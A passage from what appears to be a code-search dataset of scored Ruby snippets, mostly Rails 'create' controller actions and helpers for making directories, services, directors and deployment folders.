Director.find(params[:director][\"id\"])\n end\n\n @actor_ids = params[:actors] ? params[:actors][\"ids\"] : nil\n if @actor_ids\n @actor_ids.shift\n @dvd.actors << Actor.find(@actor_ids)\n end\n\n respond_to do |format|\n if @dvd.save\n format.html { redirect_to @dvd, notice: 'Dvd was successfully created.' }\n format.json { render json: @dvd, status: :created, location: @dvd }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dvd.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "068435a4cc2cda53839bbb96d284b2d0", "score": "0.51731265", "text": "def create_directory(name)\n end", "title": "" }, { "docid": "6de91f6db4e22fabffd4bc643d7cab33", "score": "0.5171333", "text": "def createReleaseOnSFNET\n log_debug 'Creating Release on SF.NET ...'\n ssh(\"mkdir -p #{@SFReleaseDir}\")\n end", "title": "" }, { "docid": "a216fcfc071b9ef6dfd0aec60ab20049", "score": "0.5171067", "text": "def create\n @corporate_directory = CorporateDirectory.new(params[:corporate_directory])\n\n respond_to do |format|\n if @corporate_directory.save\n format.html { redirect_to @corporate_directory, notice: 'Corporate directory was successfully created.' }\n format.json { render json: @corporate_directory, status: :created, location: @corporate_directory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @corporate_directory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0243961373ae2d816de905d64b6f5d62", "score": "0.5166514", "text": "def crear_directorios\n # Crear el directorio respaldos\n unless File.exists?(\"#{Rails.root.to_path}/respaldos/\")\n Dir.mkdir \"#{Rails.root.to_path}/respaldos/\"\n end\n\n # Crear el subdirecorio de respaldos con la fecha actual año-mes-dia\n unless File.exists?(DIRECTORIO_RESPALDO)\n Dir.mkdir DIRECTORIO_RESPALDO\n end\n\n # Crear los subdirectorios con las sucursales\n sucursales = Sucursal.all.collect { |sucursal| sucursal.nombre.underscore.gsub(/\\s/, '_') }\n sucursales.each do |sucursal|\n Dir.mkdir \"#{DIRECTORIO_RESPALDO}/#{sucursal}\" unless File.exists?(\"#{DIRECTORIO_RESPALDO}/#{sucursal}\")\n end\n end", "title": "" }, { "docid": "7677f44e759575a4a4543d0b43ff3538", "score": "0.5151746", "text": "def set_director\n @director = Director.find(params[:id])\n end", "title": "" }, { "docid": "513eb9e96374511624570f9746f85263", "score": "0.51448256", "text": "def create_service(service = {}, options = {})\n options[:service] = service\n response = post \"/services\", options\n response[:service] \n end", "title": "" }, { "docid": "54aed326bcc2ecf8da830e10ee20f437", "score": "0.5135568", "text": "def create\n @directory = Directory.new(directory_params)\n\n respond_to do |format|\n if @directory.save\n format.html { redirect_to @directory, notice: 'Directory was successfully created.' }\n format.json { render :show, status: :created, location: @directory }\n else\n format.html { render :new }\n format.json { render json: @directory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5949f67d603fd237010ee34c9ce5e396", "score": "0.51300526", "text": "def create\n @directory = Directory.new(directory_params)\n \n respond_to do |format|\n if @directory.save\n format.html { redirect_to @directory, notice: \"Directory was successfully created.\" }\n format.json { render :show, status: :created, location: @directory }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @directory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2bd89cfaa9146027b9de044366121e5a", "score": "0.51260597", "text": "def create\n authorize! :create, Service\n @service = Service.new(params[:service])\n if @service.save\n flash[:notice] = t(:service) + t(:created)\n else\n flash[:error] = t(:service) + t(:needs_a_name)\n end\n redirect_to services_path \n end", "title": "" }, { "docid": "d051859f67f07e722a2f940d544b6b4a", "score": "0.51208764", "text": "def create\n @directory = Directory.new(params[:directory])\n\n respond_to do |format|\n if @directory.save\n format.html { redirect_to @directory, notice: 'Directory was successfully created.' }\n format.json { render json: @directory, status: :created, location: @directory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @directory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f34b6deec4d47076052e4e25ea51f712", "score": "0.51189405", "text": "def create_directory\n directory new_resource.destination do\n group new_resource.group if new_resource.group\n owner new_resource.user if new_resource.user\n # There is explicitly no mode being set here. If a non-default mode\n # is needed, you should manage that outside of poise_archive.\n end\n end", "title": "" }, { "docid": "d1aaa1d18c3bb76f7973d240b785af7d", "score": "0.51180315", "text": "def create\n @m_director = MDirector.new(params[:m_director])\n \n code = rand(5**5)\n while code.to_s.length != 5\n code =rand(6**6)\n end\n @m_director.unique_id = code\n\n respond_to do |format|\n if @m_director.save\n format.html { redirect_to m_directors_path, notice: 'Managing Director was successfully created.' }\n format.json { render json: @m_director, status: :created, location: @m_director }\n else\n format.html { render action: \"new\" }\n format.json { render json: @m_director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a7c36852c97859997125d8945a507be", "score": "0.51072353", "text": "def create\n @service = Service.new(service_params)\n\n respond_to do |format|\n if @service.save\n create_versions\n format.html { redirect_to @service, notice: 'Service was successfully created.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25b04162eb69345ed25ffbfd01072d47", "score": "0.51007956", "text": "def create\n FileUtils.mkdir_p(directory) unless exist?\n end", "title": "" }, { "docid": "25b04162eb69345ed25ffbfd01072d47", "score": "0.51007956", "text": "def create\n FileUtils.mkdir_p(directory) unless exist?\n end", "title": "" }, { "docid": "25b04162eb69345ed25ffbfd01072d47", "score": "0.51007956", "text": "def create\n FileUtils.mkdir_p(directory) unless exist?\n end", "title": "" }, { "docid": "344e6210010275bd5a5fc4994100920e", "score": "0.5084623", "text": "def create\n authorize! :create_domain, current_user\n\n namespace = (params[:name] || params[:id] || params[:namespace] || '').downcase\n if OpenShift::ApplicationContainerProxy.blacklisted? namespace\n return render_error(:forbidden, \"Namespace is not allowed. Please choose another.\", 106)\n end\n\n allowed_domains = nil\n allowed_domains = 1 if requested_api_version < 1.2\n allowed_gear_sizes = Array(params[:allowed_gear_sizes]) if params.has_key? :allowed_gear_sizes\n\n @domain = Domain.create!(namespace: namespace, owner: current_user, allowed_gear_sizes: allowed_gear_sizes, _allowed_domains: allowed_domains)\n\n @analytics_tracker.track_event('domain_create', @domain, nil)\n\n render_success(:created, \"domain\", get_rest_domain(@domain), \"Created domain with name #{@domain.namespace}\")\n end", "title": "" }, { "docid": "4475f42c485bf17f4e535f84e0f1a0f0", "score": "0.5081625", "text": "def create\n @directorship = Directorship.new(params[:directorship])\n\n respond_to do |format|\n if @directorship.save\n format.html { redirect_to @directorship, notice: 'Directorship was successfully created.' }\n format.json { render json: @directorship, status: :created, location: @directorship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @directorship.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de2b78cd30f5518d043b148ed758b14d", "score": "0.506521", "text": "def create\n @dvd_actor = DvdActor.new(params[:dvd_actor])\n\n respond_to do |format|\n if @dvd_actor.save\n format.html { redirect_to @dvd_actor, notice: 'Dvd actor was successfully created.' }\n format.json { render json: @dvd_actor, status: :created, location: @dvd_actor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dvd_actor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cefd8c73d1be6a3a89af6099ae708a4a", "score": "0.50635135", "text": "def create_directory(directory_name)\n Aruba.platform.mkdir expand_path(directory_name)\n\n self\n end", "title": "" }, { "docid": "3bf3edbead00aa55fe827ec112fa9c2f", "score": "0.50549996", "text": "def create(service)\n @service = Locomotive::Service.new(service)\n\n if @service.save\n redirect resource(@service), :message => {:notice => \"Service was successfully created\"}\n else\n render :new\n end\n end", "title": "" }, { "docid": "1e17290b336d762a2980b598327362d1", "score": "0.5030854", "text": "def create(release)\n @release = Locomotive::Release.new(release)\n @service = Service.get(params[:service_id])\n\n if @release.save\n redirect resource(@service), :message => {:notice => \"Release was successfully created\"}\n else\n render :new\n end\n end", "title": "" }, { "docid": "91dc42a315c34c7a947b7c82d57abf85", "score": "0.50170255", "text": "def create_service_instance(service_instance,service_name)\n\t\tcommand = \"cf create-service #{service_name} #{@service_plan} #{service_instance}\"\n\t\toutput = system(command)\n\t\tif output == true\n\t\t\tputs \"#{service_instance} is created Successfully.\".green\n\t\telse\n\t\t\tabort(\"Error occured while creating the #{service_instance} service instance.\".red)\n\t\tend\n\tend", "title": "" }, { "docid": "703965fc066198c1ecbeedf9a4cff700", "score": "0.501119", "text": "def create\n @directory = Directory.new(params[:directory])\n\n respond_to do |format|\n if @directory.save\n flash[:notice] = 'Directory was successfully created.'\n format.html { redirect_to(@directory) }\n format.xml { render :xml => @directory, :status => :created, :location => @directory }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @directory.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f58476298a6cb996ad7392385b83c58", "score": "0.5007908", "text": "def mkdir_service_full\n FileUtils.mkdir_p \"#{@projectName}/testing/#{@serviceName}-test-library/src/main/java/#{@packageName}/tests/library/schema\"\n end", "title": "" }, { "docid": "15298a5b97218ce865d68a432e23f159", "score": "0.499762", "text": "def create_directory(name)\n parm = [0].pack('V') + name + \"\\x00\"\n resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '')\n resp\n end", "title": "" }, { "docid": "5ca9d624370a1da3cd7279ad7ea97d81", "score": "0.49785402", "text": "def create\n @directorship = Directorship.new(directorship_params)\n\n respond_to do |format|\n if @directorship.save\n format.html { redirect_to @directorship, notice: 'Directorship was successfully created.' }\n format.json { render :show, status: :created, location: @directorship }\n else\n format.html { render :new }\n format.json { render json: @directorship.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0830e54b7e41b37acea636aa5ca06ff", "score": "0.49780682", "text": "def get_director_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DirectorApi.get_director ...'\n end\n # unbox the parameters from the hash\n service_id = opts[:'service_id']\n version_id = opts[:'version_id']\n director_name = opts[:'director_name']\n # verify the required parameter 'service_id' is set\n if @api_client.config.client_side_validation && service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'service_id' when calling DirectorApi.get_director\"\n end\n # verify the required parameter 'version_id' is set\n if @api_client.config.client_side_validation && version_id.nil?\n fail ArgumentError, \"Missing the required parameter 'version_id' when calling DirectorApi.get_director\"\n end\n # verify the required parameter 'director_name' is set\n if @api_client.config.client_side_validation && director_name.nil?\n fail ArgumentError, \"Missing the required parameter 'director_name' when calling DirectorApi.get_director\"\n end\n # resource path\n local_var_path = '/service/{service_id}/version/{version_id}/director/{director_name}'.sub('{' + 'service_id' + '}', CGI.escape(service_id.to_s)).sub('{' + 'version_id' + '}', CGI.escape(version_id.to_s)).sub('{' + 'director_name' + '}', CGI.escape(director_name.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'DirectorResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"DirectorApi.get_director\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DirectorApi#get_director\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "8888c39e5781ec17b7de01d28e327af1", "score": "0.49598706", "text": "def mkdir(path)\n database, id, *parts = extract_parts(path)\n \n case named_path(path)\n when :database\n create(database)\n when :document, :design_document\n create(database, id)\n else\n # fetch document\n doc = document(database, id)\n # insert empty object\n doc.update_at_path(parts, {})\n # save document\n update(database, id, doc)\n end\n end", "title": "" }, { "docid": "accb4e0c926fd51b8abdf3fece71bf31", "score": "0.49594015", "text": "def create\n @service = Service.new(service_params)\n respond_to do |format|\n if @service.save\n format.html { redirect_to services_path(:id => @service.is_folder == 1 ? @service.id : @service.service_id), notice: 'Объект успешно создан.' }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b68f2a4471ca1510310264017de9a0c", "score": "0.4954575", "text": "def create\n @serv = Serv.new(params[:serv])\n\n respond_to do |format|\n if @serv.save\n format.html { redirect_to @serv, notice: 'Serv was successfully created.' }\n format.json { render json: @serv, status: :created, location: @serv }\n else\n format.html { render action: \"new\" }\n format.json { render json: @serv.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "acc5c0bde8502997bb7823ac78c6bada", "score": "0.49504465", "text": "def create_dir(name)\n\t\tname += '/' unless name.tail(1) == '/'\n\t\tself[name].create\n\tend", "title": "" }, { "docid": "b2198e2baea635292e8494f3deed5b68", "score": "0.49463117", "text": "def director_params\n params.require(:director).permit(:name, :title, :current)\n end", "title": "" }, { "docid": "8c1aeaea208fda537ee4557819eb6a25", "score": "0.49415237", "text": "def create\n server = Chaos::Server.new \"ssh://#{options[:server]}\"\n server.ask_user_password unless server.password?\n\n name = options[:name] || File.basename(Dir.pwd)\n app = Chaos::App.new name, server\n\n display_ \"Create app '#{app}' on '#{app.server}'...\", :topic\n app.create\n\n display_ \"Done.\", :topic\n if File.basename(Dir.pwd) == app.name\n if Dir.exist?('.git') && !app.server.host.nil? && !app.git.nil?\n if system \"git remote add #{app.server} git@#{app.server}:#{app}.git > /dev/null 2>&1\"\n display_ \"Git remote added to the current directory ('git push #{app.server} master' to deploy)\"\n end\n end\n end\n display_ \"* Git : #{app.git}\"\n display_ \"* Url : #{app.http}\"\n end", "title": "" }, { "docid": "ac59b10831a95bc3ecb87b1b1585d1ee", "score": "0.49402457", "text": "def update_director_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DirectorApi.update_director ...'\n end\n # unbox the parameters from the hash\n service_id = opts[:'service_id']\n version_id = opts[:'version_id']\n director_name = opts[:'director_name']\n # verify the required parameter 'service_id' is set\n if @api_client.config.client_side_validation && service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'service_id' when calling DirectorApi.update_director\"\n end\n # verify the required parameter 'version_id' is set\n if @api_client.config.client_side_validation && version_id.nil?\n fail ArgumentError, \"Missing the required parameter 'version_id' when calling DirectorApi.update_director\"\n end\n # verify the required parameter 'director_name' is set\n if @api_client.config.client_side_validation && director_name.nil?\n fail ArgumentError, \"Missing the required parameter 'director_name' when calling DirectorApi.update_director\"\n end\n # resource path\n local_var_path = '/service/{service_id}/version/{version_id}/director/{director_name}'.sub('{' + 'service_id' + '}', CGI.escape(service_id.to_s)).sub('{' + 'version_id' + '}', CGI.escape(version_id.to_s)).sub('{' + 'director_name' + '}', CGI.escape(director_name.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'DirectorResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"DirectorApi.update_director\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DirectorApi#update_director\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "3e375282e4556970f48180c43b9da563", "score": "0.49304488", "text": "def create_service(name: nil, **params)\n name ||= @name\n @client.services.create(name: name, system_name: name, **params)\n end", "title": "" }, { "docid": "ef3ebe94319241487dc9503916db45f7", "score": "0.49291795", "text": "def create\n @os_distro = OsDistro.new(os_distro_params)\n\n respond_to do |format|\n if @os_distro.save\n format.html { redirect_to @os_distro, notice: 'Os distro was successfully created.' }\n format.json { render :show, status: :created, location: @os_distro }\n else\n format.html { render :new }\n format.json { render json: @os_distro.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d5998def00a015a77ae58dacbd4a29", "score": "0.4923538", "text": "def mkdir path\n parent = lookup! File.dirname(path), RbVmomi::VIM::Folder\n parent.CreateFolder(:name => File.basename(path))\nend", "title": "" }, { "docid": "c3d298d85dac2a0f38136550de3febcd", "score": "0.4918316", "text": "def create_project(params)\n\n\t\t#TODO: validar se o projeto existe\t\t\n\t\tcreate_dirs(params)\t\t\n\t\tcreate_maven_project(params, @output + \"/\" + params[:project_name])\n\t\tcreate_properties_file(params)\t\t\n\n\t\tApp.logger.info \"Project #{params[:project_name]} created.\"\t\t\n\tend", "title": "" }, { "docid": "1bfc0fbb82a9f7c689558ac472ebaa78", "score": "0.48990348", "text": "def create(service)\n @service = Service.new(service)\n if @service.save\n if @service.company_id != nil\n redirect_to company_path(:id => @service.company, :topic => \"Service\"), notice: 'service was successfully created.'\n end\n if @service.user_id != nil\n redirect_to user_path(:id => @service.user, :topic => \"Service\"), notice: 'service was successfully created.'\n end\n end\n end", "title": "" }, { "docid": "e8683fa9417474059896d0b7811d8763", "score": "0.48965666", "text": "def create\n @serv = Serv.new(serv_params)\n\n respond_to do |format|\n if @serv.save\n format.html { redirect_to @serv, notice: 'Serv was successfully created.' }\n format.json { render :show, status: :created, location: @serv }\n else\n format.html { render :new }\n format.json { render json: @serv.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a759af26faf55b4086f42bb12b29df66", "score": "0.48965237", "text": "def create_directory\n directory new_resource.path do\n group new_resource.group\n mode '700'\n owner new_resource.owner\n end\n end", "title": "" }, { "docid": "9cd1d54a36b6fde5073360d68b8cc877", "score": "0.48954016", "text": "def create(name = '', dir = nil)\n # Make sure that the directory isn't versioned already\n begin\n path = find_file(dir)\n rescue Errors::NoVersionError\n # We are good to go\n else\n # Raise error that it's already versioned\n raise Errors::VersionFileError, \"version already exists at #{path}\"\n end\n\n dir ||= ::Dir.pwd\n raise Errors::PathError unless ::File.directory?(dir)\n path = ::File.join(dir, @filename)\n\n ::File.open(path, \"w\") do |file|\n version = Version.new(name)\n file.write version.to_s + \"\\n\"\n end\n\n end", "title": "" }, { "docid": "4e8188dc29b95326a8253dd0ccb51937", "score": "0.48891345", "text": "def create_service(options)\n require_relative 'service'\n Service.new(@api, @api.do_request(\"POST\", get_base_api_path() + \"/services\", options))\n end", "title": "" }, { "docid": "e5ed0784729932455facf464573db4b3", "score": "0.4883692", "text": "def set_director\n @director = Director.friendly.find(params[:id])\n end", "title": "" }, { "docid": "1930582e3962fed03753c2ce34b311a8", "score": "0.48832545", "text": "def create\n\n @owner = owner_from_request || current_user\n @namespace = @owner.namespaces.new(namespace_params)\n\n respond_to do |format|\n if @namespace.save\n audit(@namespace, \"create\", @namespace.name)\n current_user.access_resource(@namespace, :admin)\n if @owner.is_a?(Group)\n @owner.access_resource(@namespace, :admin)\n end\n\n format.html { redirect_to namespaces_path, notice: 'Namespace was successfully created.' }\n format.json { render :show, status: :created, location: @namespace }\n else\n format.html { render :new }\n format.json { render json: @namespace.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "560e1161d4ce02158a0ed0ba08b82f0a", "score": "0.48799914", "text": "def create_unit(unit, *args)\n send(unit.to_s.pluralize.to_sym).create! args\n end", "title": "" }, { "docid": "5f7d7a5d1a3875915f38f335b57f38e7", "score": "0.4872411", "text": "def create_directory\n connection.directories.create({\n :key => directory_name,\n :public => true\n })\n end", "title": "" }, { "docid": "f44e4f85d096c4656fb7db4ef9d06c47", "score": "0.48670676", "text": "def create_provider_directory\n create_directory provider_directory\n end", "title": "" }, { "docid": "f10b960e51495c3b35e17b67ca4586b4", "score": "0.48618048", "text": "def create_directory(path)\n dest = destination(path)\n \n unless File.exists?(\"#{base_path}/#{path}\")\n $stdout.puts \" create #{path}\"\n FileUtils.mkdir_p(\"#{base_path}/#{path}\")\n end\n end", "title": "" }, { "docid": "ba68bc41da2d57be6179a5a0276b6d3a", "score": "0.48615834", "text": "def create(name)\n Group.assert\n @name = name\n @path = Group.path_to name\n FileUtils.mkdir_p @path\n end", "title": "" }, { "docid": "840881debe5f0c75b955d07669782ad9", "score": "0.48566663", "text": "def create\n @dvd = Dvd.new(params[:dvd])\n\n respond_to do |format|\n if @dvd.save\n format.html { redirect_to(@dvd, :notice => 'Dvd was successfully created.') }\n format.xml { render :xml => @dvd, :status => :created, :location => @dvd }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dvd.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "83c64239d765a6588bca67fa851d2fd9", "score": "0.48531792", "text": "def create\n @dvd = Dvd.new(dvd_params)\n\n respond_to do |format|\n if @dvd.save\n format.html { redirect_to @dvd, notice: 'Dvd was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dvd }\n else\n format.html { render action: 'new' }\n format.json { render json: @dvd.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c89c96b47618fccc97749d56b9e0d227", "score": "0.48464656", "text": "def create\n Book.create(\n title: params[:title],\n release_date: params[:release_date],\n genre: params[:genre],\n author_id: params[:author_id])\n redirect_to \"/authors/#{params[:author_id]}/books\"\n end", "title": "" }, { "docid": "ac6c8be6f2cc79afc038e42b47c5f052", "score": "0.48437023", "text": "def bosh_director_client\n director\n end", "title": "" }, { "docid": "730864ebfaec0e36ba266bd0ab33748a", "score": "0.4837296", "text": "def create(name, cartridges)\n cartridge = check_cartridges(cartridges).first\n\n options.default \\\n :dns => true,\n :git => true\n\n header \"Creating application '#{name}'\"\n paragraph do\n table({\"Namespace:\" => options.namespace,\n \"Cartridge:\" => cartridge,\n \"Gear Size:\" => options.gear_size || \"default\",\n \"Scaling:\" => options.scaling ? \"yes\" : \"no\",\n }\n ).each { |s| say \" #{s}\" }\n end\n\n raise RHC::DomainNotFoundException.new(\"No domains found. Please create a domain with 'rhc domain create <namespace>' before creating applications.\") if rest_client.domains.empty?\n\n rest_domain = rest_client.find_domain(options.namespace)\n\n # check to make sure the right options are set for enabling jenkins\n jenkins_rest_app = check_jenkins(name, rest_domain) if enable_jenkins?\n\n # create the main app\n rest_app = create_app(name, cartridge, rest_domain,\n options.gear_size, options.scaling)\n\n # create a jenkins app if not available\n # don't error out if there are issues, setup warnings instead\n begin\n jenkins_rest_app = setup_jenkins_app(rest_domain) if enable_jenkins? and jenkins_rest_app.nil?\n rescue Exception => e\n add_issue(\"Jenkins failed to install - #{e}\",\n \"Installing jenkins and jenkins-client\",\n \"rhc app create jenkins\",\n \"rhc cartridge add jenkins-client -a #{rest_app.name}\")\n end\n\n if jenkins_rest_app\n success, attempts, exit_code, exit_message = false, 1, 157, nil\n while (!success && exit_code == 157 && attempts < MAX_RETRIES)\n begin\n setup_jenkins_client(rest_app)\n success = true\n rescue RHC::Rest::ServerErrorException => e\n if (e.code == 157)\n # error downloading Jenkins /jnlpJars/jenkins-cli.jar\n attempts += 1\n debug \"Jenkins server could not be contacted, sleep and then retry: attempt #{attempts}\\n #{e.message}\"\n Kernel.sleep(10)\n end\n exit_code = e.code\n exit_message = e.message\n rescue Exception => e\n # timeout and other exceptions\n exit_code = 1\n exit_message = e.message\n end\n end\n add_issue(\"Jenkins client failed to install - #{exit_message}\",\n \"Install the jenkins client\",\n \"rhc cartridge add jenkins-client -a #{rest_app.name}\") if !success\n end\n\n if options.dns\n say \"Your application's domain name is being propagated worldwide (this might take a minute)...\"\n unless dns_propagated? rest_app.host\n add_issue(\"We were unable to lookup your hostname (#{rest_app.host}) in a reasonable amount of time and can not clone your application.\",\n \"Clone your git repo\",\n \"rhc app git-clone #{rest_app.name}\")\n\n output_issues(rest_app)\n return 0\n end\n\n if options.git\n begin\n run_git_clone(rest_app)\n rescue RHC::GitException => e\n warn \"#{e}\"\n unless RHC::Helpers.windows? and windows_nslookup_bug?(rest_app)\n add_issue(\"We were unable to clone your application's git repo - #{e}\",\n \"Clone your git repo\",\n \"rhc app git-clone #{rest_app.name}\")\n end\n end\n end\n end\n\n display_app(rest_app, rest_app.cartridges, rest_app.scalable_carts.first)\n\n if issues?\n output_issues(rest_app)\n else\n results { \n rest_app.messages.each { |msg| say msg } \n jenkins_rest_app.messages.each { |msg| say msg } if enable_jenkins? and jenkins_rest_app\n }\n end\n\n 0\n end", "title": "" }, { "docid": "33f8e1feebd4c7747817a8d3b8e3c15a", "score": "0.48353186", "text": "def post_create_dir(path,repo)\n curl_post(\"#{self.host}/api2/repos/#{repo}/dir/?p=#{path}\",{\"operation\"=>\"mkdir\"}).body_str\n end", "title": "" }, { "docid": "d4b30006bdce26ac268cee11b4e800c8", "score": "0.4831473", "text": "def make_directory(path)\n Log.info \"#@deployment_name: Making directory structure '#{path}'...\"\n execute \"mkdir -p #{path}\"\n end", "title": "" }, { "docid": "fa96fcf774f8a4d71537c3cd32a3d7a4", "score": "0.48282674", "text": "def create\n # distributor_params = {:name => \"distributor2\",:parent_id => 1}\n @distributor = Distributor.new(distributor_params)\n\n if @distributor.save\n render_success(\"Distributor Created successfully\")\n else\n render_error(\"Something went wrong !!! Cound not create distributors\")\n end\n end", "title": "" }, { "docid": "8f3384fe7e8e82f5c63b5f59ef520f63", "score": "0.48231462", "text": "def create\n self.class.create_service.new(\n controller: self, attributes: create_params\n ).call\n end", "title": "" }, { "docid": "1246fc366f4ca0b0067cdec4d6a12a16", "score": "0.48128307", "text": "def create\n @orden_servicio = OrdenServicio.new(orden_servicio_params)\n\n respond_to do |format|\n if @orden_servicio.save\n format.html { redirect_to @orden_servicio, notice: 'Orden servicio was successfully created.' }\n format.json { render :show, status: :created, location: @orden_servicio }\n else\n format.html { render :new }\n format.json { render json: @orden_servicio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19e74f1af5ede1399ab968256dcc9100", "score": "0.48036996", "text": "def create\n Service.create(service_params)\n redirect_to \"/users/show\"\n end", "title": "" }, { "docid": "fdf2c4ca9f31aabed1941622ac36e392", "score": "0.4800061", "text": "def mkdir options = {}\n if options[:dir].nil? || !options.key?(:dir)\n puts \"Please, set new file or directory name\"\n exit\n else\n dir = options[:dir]\n end\n req = Net::HTTP::Mkcol.new dir\n req.basic_auth @login, @pass\n req['Host'] = \"webdav.yandex.#{@location}\"\n req['User-Agent'] = \"yadisk-ruby-cli\"\n req['Accept'] = \"*/*\"\n res = http.request(req)\n if res.code == \"201\"\n puts \"Directory #{dir} successfully created in the server\"\n else\n puts \"Directory #{dir} creating is crashed\"\n end\n end", "title": "" }, { "docid": "4dba3258ca16772e0cf8c9bf16cf8c30", "score": "0.4794071", "text": "def create\n Actor.create(\"name\" => params[\"full_name\"], \"photo_url\" => params[\"url\"])\n redirect_to \"/actors\"\n end", "title": "" }, { "docid": "9cb480acf185aca02851faee37bc6fbe", "score": "0.47906086", "text": "def createChild ( name )\n return user.directories.create name: name, parent_id: id\n end", "title": "" }, { "docid": "026424386f785c30a72bc83f8cdc15ed", "score": "0.4789998", "text": "def create\n @directory = Cmtool::Directory.new(directory_params)\n\n respond_to do |format|\n if @directory.save\n format.html { redirect_to([cmtool, @directory], :notice => I18n.t('cmtool.action.create.successful', :model => Cmtool::Directory.model_name.human)) }\n format.xml { render :xml => @directory, :status => :created, :location => @directory }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @directory.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "feed947cafe23d9f1a850bfd0c94f656", "score": "0.4788021", "text": "def make_release_dir\n mkdir_p release_dir\n for letter in 'A'..'Z'\n candidate = Time.now.strftime(\"%Y-%m-%d-#{letter}\")\n dir = \"#{release_dir}/#{candidate}\"\n unless File.directory? dir\n mkdir dir\n @release_id = candidate\n break\n end\n end\n unless @release_id\n raise RuntimeError, \"Can't make 27 builds in one day\", caller\n end \n end", "title": "" }, { "docid": "adba190e6e3e866d2036c7fb2e37623e", "score": "0.47877404", "text": "def create\n @service = Service.new(service_params)\n @service.save!\n json_response(@service, :created)\n end", "title": "" }, { "docid": "8b128adbec9392ba878b34370ab89822", "score": "0.4785212", "text": "def create\n @namespace = Namespace.new(params[:namespace])\n\n respond_to do |format|\n if @namespace.save\n format.html { redirect_to @namespace, notice: 'Namespace was successfully created.' }\n format.json { render json: @namespace, status: :created, location: @namespace }\n else\n format.html { render action: \"new\" }\n format.json { render json: @namespace.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44d1c1a6d5f4ab2e9dc2fedb734830be", "score": "0.4784066", "text": "def create\n @client.service_create(params[:id], params[:app_id], params[:vendor_id].pop)\n @service = @client.service(params[:id], params[:app_id])\n\n respond_to do |format|\n format.html { redirect_to app_service_path(@service['app_id'], @service['id']), notice: 'Service was successfully created.' }\n #format.json { render json: @service, status: :created, location: @service }\n end\n end", "title": "" }, { "docid": "645892cd4d400acb3ef65f8feae2dad7", "score": "0.47827154", "text": "def mkdir(dirname); end", "title": "" }, { "docid": 